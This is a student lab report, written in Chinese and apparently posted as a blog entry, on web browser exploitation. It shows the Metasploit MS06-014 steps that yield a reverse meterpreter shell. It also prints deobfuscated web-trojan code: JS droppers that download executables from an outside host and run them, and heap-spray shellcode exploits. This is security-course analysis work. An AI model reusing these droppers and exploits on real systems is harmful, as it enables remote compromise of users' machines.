20212810 2021-2022-2 《网络攻防实践》实践十一报告

20212810 2021-2022-2 《网络攻防实践》实践十一报告

一.实践内容

1.Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
2.取证分析实践—网页木马攻击场景分析

3.攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

二.实践过程

实验一:Web浏览器渗透攻击实验

使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

  • 所需环境:
  1. 攻击机: BT4 Linux攻击机或Windows XP_ _Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件;

  2. 靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机。

  • 实验步骤:
  1. 选择使用Metasploit中的MS06-014渗透攻击模块(ie_ createobject);

  2. 选择PAYLOAD为任意远程Shell连接;

  3. 设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;

  4. 在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL;⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

本次实验使用的虚拟机为kali(IP:192.168.200.66)和Win2k(IP:192.168.200.124),并开启蜜罐保证连通性。
1.在kali中打开msfconsole

搜索MS06-014漏洞search MS06-014

选择module use 0
显示有效载荷show payloads

2.设置payload set payload windows/meterpreter/reverse_tcp

show options查看需要设置的参数(当时忘记截图,用的设置后的图片)

3.设置攻击机地址set LHOST 192.168.200.66
之后show options检查一下

4.攻击exploit

我们发现有个URL地址http://192.168.200.66:8080/LYEjTbusjcwZ1,可能是题目那个有木马的恶意地址

5.在靶机中访问这个地址http://192.168.200.66:8080/LYEjTbusjcwZ1

发现显示一段英文字符
回到攻击机中,发现已经建立会话

回车一下

6.用sessions查看目前的连接

使用命令sessions 1选择会话1,返回meterpreter

使用getuid查看当前权限,发现当前权限为Administrator

最后查看靶机ip也是与实际相符合的。

实验二:取证分析实践—网页木马攻击场景分析

  1. 首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

  2. 在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值 下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

  3. 如果解密出的地址给出的是网页或脚本文件,请继续解密。

  4. 如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

  5. 重复以上过程直到这些文件被全部分析完成。

由于没有实验环境,下面仅对已经提供的文件简要进行分析:
对于文件1.js(MS06-014网马),直接打开发现除了最外层的Eval()函数以外,其他都是十六进制编码,使用解码工具解码后发现内容为一些 JS 代码,然后格式化,得到下面的代码。

var url = "http://down.18dd.net/bb/014.exe";
try {
	var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
	xml.Open

	("GET", url, 0);
	xml.Send();
	as.type = 1;
	as.open();
	as.write(xml.responseBody);
	path = "..\\ntuser.com";
	as.savetofile(path, 2);
	as.close

	();
	var shell = ado.createobject("Shell.Application", "");
	shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0)
} catch(e) {}

可见,该脚本下载了文件014.exe,然后利用系统漏洞,调用了命令行执行了该程序,那么这个程序一定是恶意程序了。

再看b.js

eval(function(p, a, c, k, e, d) {
	e = function(c) {
		return c
	};
	if (!''.replace(/^/, String)) {
		while (c--) {
			d[c] = k[c] || c
		}
		k = [function(e) {
			return d[e]
		}];
		e = function() {
			return '\\w+'
		};
		c = 1
	};
	while (c--) {
		if (k[c]) {
			p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
		}
	}
	return p
} 

('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, '|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'), 0, {}))

接下来是pps.js。

尝试使用八进制解码后:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = (document.createElement("object"));
pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
pps.Logo = buffer

这也是 shellcode。

接下来通过 IDA 打开提供的 pps.exe 文件。


可知,运行该程序后,会自动下载其他的 exe 文件,并且在根目录生成自动运行的文件

实验三:攻防对抗实践—web浏览器渗透攻击攻防

  • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

  • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

首先选择实验1中的MS06_014漏洞,重复先前步骤,在攻击前打开wireshark监听。
执行攻击

获取恶意网站链接http://192.168.200.66:8080/LYEjTbusjcwZ1,在靶机打开网站

同时看到攻击机的攻击行为

返回攻击机的wireshark,观察从靶机发送给攻击机的信息

追踪TCP流,发现一串很长很长的代码~而且有很多空格
经过反混淆和格式化处理后,得到如下的 JS 代码。

function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
    var s = jwnxVgMVVlmT(a, "WScript.Shell");
    var o = jwnxVgMVVlmT(a, "ADODB.Stream");
    var e = s.Environment("Process");
    var url = document.location + '/payload';
    var xml = null;
    var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
    var dat;
    try {
        xml = new XMLHttpRequest()
    } catch (e) {
        try {
            xml = new ActiveXObject("Microsoft.XMLHTTP")
        } catch (e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
        }
    }
    if (!xml) {
        return (0)
    }
    xml.open("GET", url, false);
    xml.send(null);
    dat = xml.responseBody;
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);
    s.Run(bin, 0)
}

function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
    var i = 0;
    var t = new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
    }
    ', ' {
        BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
    }
    ', ' {
        7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
    }
    ', ' {
        6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
    }
    ', ' {
        6414512B - B978 - 451D - A0D8 - FCFDF33E833C
    }
    ', ' {
        06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
    }
    ', ' {
        639F725F - 1B2D - 4831 - A9FD - 874847682010
    }
    ', ' {
        BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
    }
    ', ' {
        D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
    }
    ', ' {
        E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
    }
    ', ' {
        AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
    }
    ', ' {
        0006F033 - 0000 - 0000 - C000 - 000000000046
    }
    ', ' {
        0006F03A - 0000 - 0000 - C000 - 000000000046
    }
    ', null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0, 1) == ' {
    ') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
        } else {
            try {
                a = new ActiveXObject(t[i])
            } catch (e) {}
        }
        if (a) {
            try {
                var b = jwnxVgMVVlmT(a, "WScript.Shell");
                if (b) {
                    eKXqxEpEOOOxsLSXxJeRxJCn(a);
                    return (0)
                }
            } catch (e) {}
        }
        i++
    }
}

攻击者使用的漏洞是MS06-014。

三.学习中遇到的问题及解决

问题:在捕获的 TCP 流转化为 js 代码后不知如何下手
解决:各种搜索,终于在可疑的数组字符串中找到了漏洞线索
问题:最后一个实践有点难,很多问题回答不了,分析过程也是举步维艰
解决:看别人的博客,也没弄明白

四.实践总结

这次实验比较难,有一些是参考了下同学的实验步骤。尤其实验二,有些不懂。

posted @ 2022-05-28 21:18  bzhuihui  阅读(277)  评论(0编辑  收藏  举报